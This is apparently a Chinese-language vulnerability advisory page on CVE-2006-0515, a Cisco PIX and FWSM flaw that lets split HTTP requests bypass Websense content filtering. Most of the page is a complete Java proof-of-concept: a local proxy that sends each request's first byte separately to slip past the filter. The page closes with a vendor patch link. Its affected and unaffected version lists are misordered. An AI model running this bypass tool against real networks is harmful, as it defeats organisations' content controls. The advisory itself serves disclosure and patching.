首页 -> 安全研究
安全研究
安全漏洞
多个Cisco防火墙产品WebSense内容过滤绕过漏洞
发布日期:2006-05-08
更新日期:2006-05-08
受影响系统:
Cisco PIX Firewall < 7.0.4.12不受影响系统:
Cisco PIX Firewall < 6.3.5(112)
Cisco Firewall Services Module 3.x
Cisco Firewall Services Module 2.3.x
Websense Websense 5.5.2
Cisco PIX Firewall 7.0.4.12描述:
Cisco PIX Firewall 6.3.5(112)
Cisco Firewall Services Module 3.1(1.7)
Cisco Firewall Services Module 2.3(4)
BUGTRAQ ID: 17883
CVE(CAN) ID: CVE-2006-0515
Cisco PIX是非常流行的网络防火墙,FWSM是Cisco设备上的防火墙服务模块。
Cisco PIX和其他一些Cisco过滤设备在同Websense Enterprise集成共同处理拆分报文的方式存在漏洞,攻击者可以利用此漏洞绕过Websense的内容检查过滤。
对于每个HTTP请求,Cisco PIX或其他Cisco设备都要将每个报文转发给Websense以判断是否应该允许该请求。但是,如果将HTTP请求拆分为两个或多个报文的话,就可能绕过过滤机制。此外,Websense没有记录使用上述碎片方式的请求,也就是没有将请求发送给Websense进行策略检查。利用这个漏洞的最简单的方式是拆分出HTTP请求的第一个字符,其他数据使用单个TCP报文(比如为每个报文设置PSH标签)。
<*来源:George D. Gal (ggal@vsecurity.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114711749815377&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=114712496404926&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
// Disclaimer: Use this tool at your own risk. The author of this utility
// nor Virtual Security Research, LLC. will assume any liability for damage
// caused by running this code. This utility is provided for educational
// purposes only.
import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.*;
import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingUtilities;
import java.awt.BorderLayout;
class WebsenseBypassProxyConnection implements Runnable {
Socket csock;
Socket ssock;
static int count = 0;
WebsenseBypassProxy wbp;
public WebsenseBypassProxyConnection(Socket csock, WebsenseBypassProxy parent) {
this.csock = csock;
this.wbp = parent;
}
private StringBuffer GetHeader(InputStream istream) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
int i;
do {
i = istream.read();
if (i == -1) {
if(out.size() > 0) {
String s = out.toString();
if(s.endsWith("\r\n"))
return (new StringBuffer(out.toString() + "\r\n"));
else if (s.endsWith("\n"))
return (new StringBuffer(out.toString() + "\n"));
}
throw (new IOException());
}
out.write((byte) i);
} while ((!out.toString().endsWith("\r\n\r\n")) &&
(!out.toString().endsWith("\n\n")));
return (new StringBuffer(out.toString()));
}
private HashMap GetHeaderParam(StringBuffer header) {
HashMap h = new HashMap();
int i=0;
try {
if ((i=header.toString().indexOf("\n")) > 0) {
StringTokenizer stok =
new StringTokenizer(header.toString().substring(i),
":\r\n", true);
try {
while(stok.hasMoreTokens()) {
// Get name value pair
String tok = stok.nextToken(":").trim().toLowerCase();
stok.nextToken();
String tokval = stok.nextToken("\r\n").trim();
h.put(tok, tokval);
//System.out.println("n, v: "+tok +", "+tokval);
}
} catch(NoSuchElementException e) {
}
}
} catch (Exception e) {
}
return(h);
}
private StringBuffer GetReqBody(InputStream istream) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
int i;
while (!(out.toString().endsWith("\r\n\r\n") ||
out.toString().endsWith("\n\n"))) {
i = istream.read();
if (i== -1) {
if(out.size() > 0) {
String s = out.toString();
if(s.endsWith("\r\n"))
return (new StringBuffer(out.toString() + "\r\n"));
else if (s.endsWith("\n"))
return (new StringBuffer(out.toString() + "\n"));
}
throw (new IOException());
}
out.write((byte) i);
}
return (new StringBuffer(out.toString()));
}
public void run() {
Socket ssock = null;
InputStream clientIn = null;
BufferedOutputStream clientOut = null;
InputStream serverIn = null;
BufferedOutputStream serverOut = null;
int i=0;
int ch=-1,r0=-1,r1=-1;
try {
clientIn = csock.getInputStream();
clientOut = new BufferedOutputStream(csock.getOutputStream());
StringBuffer buf = GetHeader(clientIn);
int idx = buf.indexOf("Proxy-Connection:");
int eol = buf.indexOf("\r\n", idx+18);
//System.out.println("Idx: "+idx+" ,eol: "+eol);
if ((idx > 0) && (eol > 0)) {
buf = buf.replace(idx, eol, "Connection: close");
}
// And we should just make our lives easy and change keep-alives
// to close.
idx = -1;
eol = -1;
idx = buf.indexOf("Keep-Alive:");
eol = buf.indexOf("\r\n",idx+11);
//System.out.println("Idx: "+idx+" ,eol: "+eol);
if ((idx > 0) && (eol > 0)) {
buf = buf.replace(idx, eol, "Keep-Alive: close");
}
HashMap h = GetHeaderParam(buf);
StringTokenizer st = new StringTokenizer(buf.toString());
String reqtype = st.nextToken().toUpperCase();
URL req = new URL(st.nextToken());
String remotehost = req.getHost();
int remoteport = req.getPort();
if (remoteport == -1) {
remoteport = 80;
}
// change the target to remove the host and protocol
idx = -1;
int end = -1;
idx = buf.indexOf(reqtype + " "+ req.toString());
end = idx + (reqtype+" "+req.toString()).length();
//System.out.println("Request and URL Idx: "+idx+" , end: "+end);
if ((idx >= 0) && (end > 0)) {
buf = buf.replace(idx, end, reqtype+" "+
req.getPath().toString());
}
wbp.displayMessage(">> "+reqtype+" "+req.getPath().toString()+"\n");
//System.out.println(">> "+reqtype+" "+req.getPath().toString());
ssock = new Socket(remotehost,remoteport);
//StringBuffer buf2 = GetReqBody(clientIn);
StringReader sr = new StringReader(buf.toString());
serverIn = ssock.getInputStream();
serverOut = new BufferedOutputStream(ssock.getOutputStream());
while ((ch = sr.read()) != -1) {
serverOut.write(ch);
if (i == 0) {
// Flush out the first byte
serverOut.flush();
}
i++;
}
serverOut.flush();
while ((ch = serverIn.read()) != -1) {
clientOut.write(ch);
}
wbp.displayMessage(">>XX>> Server stream closed\n");
//System.out.println(">>XX>> Server stream closed");
clientOut.flush();
// just added
csock.shutdownOutput();
ssock.close();
csock.close();
ssock.close();
csock.close();
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
}
public class WebsenseBypassProxy extends JFrame {
private Object lock = new Object();
private JTextArea displayArea;
public WebsenseBypassProxy() {
super("Websense Filter Bypass Proxy 1.0");
displayArea = new JTextArea();
add(new JScrollPane(displayArea), BorderLayout.CENTER);
setSize(400, 250);
setVisible(true);
displayArea.setEditable(false);
}
void start (int lport) {
WebsenseBypassProxyListener wbp=new WebsenseBypassProxyListener(this);
wbp.lport = lport;
Thread listener = new Thread(wbp);
listener.start();
displayMessage("Starting proxy listener on port: "+lport+"\n");
//System.out.println("Starting proxy listener on port: "+lport);
}
void shutdown() {
synchronized(lock) {
}
}
public void displayMessage( final String messageToDisplay ) {
SwingUtilities.invokeLater(
new Runnable() {
public void run() {
displayArea.append( messageToDisplay );
}
}
);
}
public void run(int lport) {
ServerSocket lsock;
try {
lsock = new ServerSocket(lport);
for (;;) {
try {
Socket s;
s = lsock.accept();
WebsenseBypassProxyConnection wbpc =
new WebsenseBypassProxyConnection(s, this);
Thread t = new Thread(wbpc);
t.start();
} catch (IOException e) {
System.out.print(e.toString());
return;
}
}
} catch (Exception e) {
System.out.print(e.toString());
}
}
public static void main(String[] argv) {
if (argv.length != 1) {
System.err.println(
"Usage:\n\t java WebsenseBypassProxy <portnum>\n");
} else {
try {
int localport = Integer.parseInt(argv[0]);
WebsenseBypassProxy wbp = new WebsenseBypassProxy();
wbp.start(localport);
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
}
}
class WebsenseBypassProxyListener implements Runnable {
WebsenseBypassProxy p;
public int lport;
public WebsenseBypassProxyListener(WebsenseBypassProxy p) {
this.p = p;
}
public void run() {
p.run(lport);
}
}
建议:
厂商补丁:
Cisco
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.cisco.com/warp/public/707/cisco-sr-20060508-pix.shtml
浏览次数:4623
严重程度:0(网友投票)
绿盟科技给您安全的保障